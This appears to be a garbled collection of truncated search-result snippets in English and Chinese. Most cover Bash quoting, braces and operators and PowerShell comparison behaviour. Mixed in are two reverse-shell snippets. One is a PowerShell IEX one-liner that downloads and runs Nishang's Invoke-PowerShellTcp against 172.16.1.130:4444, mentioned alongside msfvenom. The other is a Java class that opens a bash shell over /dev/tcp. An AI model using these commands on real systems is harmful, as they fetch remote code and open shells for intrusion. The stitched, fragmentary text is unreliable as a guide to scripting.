If you can enter commands into the shell, you can write shell scripts (also known as Bourne shell scripts). A shell script is a series of commands written in a ...
In the second example, parameter expansion substituted anempty string for the value of “$1” because it was an undefined variable. The shellprovides a mechanism called quoting to selectively suppress unwanted expansions. 在第一个例子中,shell 利用单词分割删除掉 echo 命令的参数列表中多余的空格。在...
/bin/bash(( a = 10 ))echo -e \"inital value, a = $a\\n\"(( a++))echo \"after a++, a = $a\" { } 大括号 (Block of code) 有时候 script 当中会出现,大括号中会夹着一段或几段以\"分号\"做结尾的指令或变数设定。 # cat ftmp-02#!/bin/basha=fsh{a=inbc ; echo -e \"...
powershellIEX(New-ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp-Reverse-IPAddress172.16.1.130-port4444 msfvenom 获取反弹一句话 msf支持多种反弹方式,比如exe ...
# . /home/testscript.sh 6 'string' 单引号(single quote) 被单引号用括住的内容,将被视为单一字串。在引号内的代表变数的$符号,没有作用,也就是说,他被视为一般符号处理,防止任何变量替换。 7. "string" 双引号(double quote) 被双引号用括住的内容,将被视为单一字串。它防止通配符扩展,但允许变量...
编辑ReverseShell.java publicclassReverseShell{/*** @param args* @throws Exception*/publicstaticvoidmain(String[]args)throwsException{// TODO Auto-generated method stubRuntimer=Runtime.getRuntime();Stringcmd[]={"/bin/bash","-c","exec 5<>/dev/tcp/[host]/[port];cat <&5 | while read ...
善用这个观念,对精简 script 有相当的帮助。 ! 惊叹号(negate or reverse) 通常它代表反逻辑的作用,譬如条件侦测中,用 != 来代表"不等于" [root@VM_16_9_centos ~]# cat a.sh #!/bin/bash if [ "$?" != 0 ];then echo "Executes error" ...
"System.Int64". Error: "Input string was not in a correct format "System.Object[]" "telnet" connection test to different servers on different ports "Unable to find a default server with Active Directory Web Services running" when calling a script with Import-module AD "Unable to process t...
For example, the string '1.0' is converted to an integer to be compared to the value 1. This example returns True. PowerShell Copy PS> 1 -eq '1.0' True In this example, the value 1 is converted to a string to be compared to string '1.0'. This example returns False. PowerShell...
Windows 10I am not very literate in powershell script but I trying to create a Power Shell script that does the following. For this example I am using...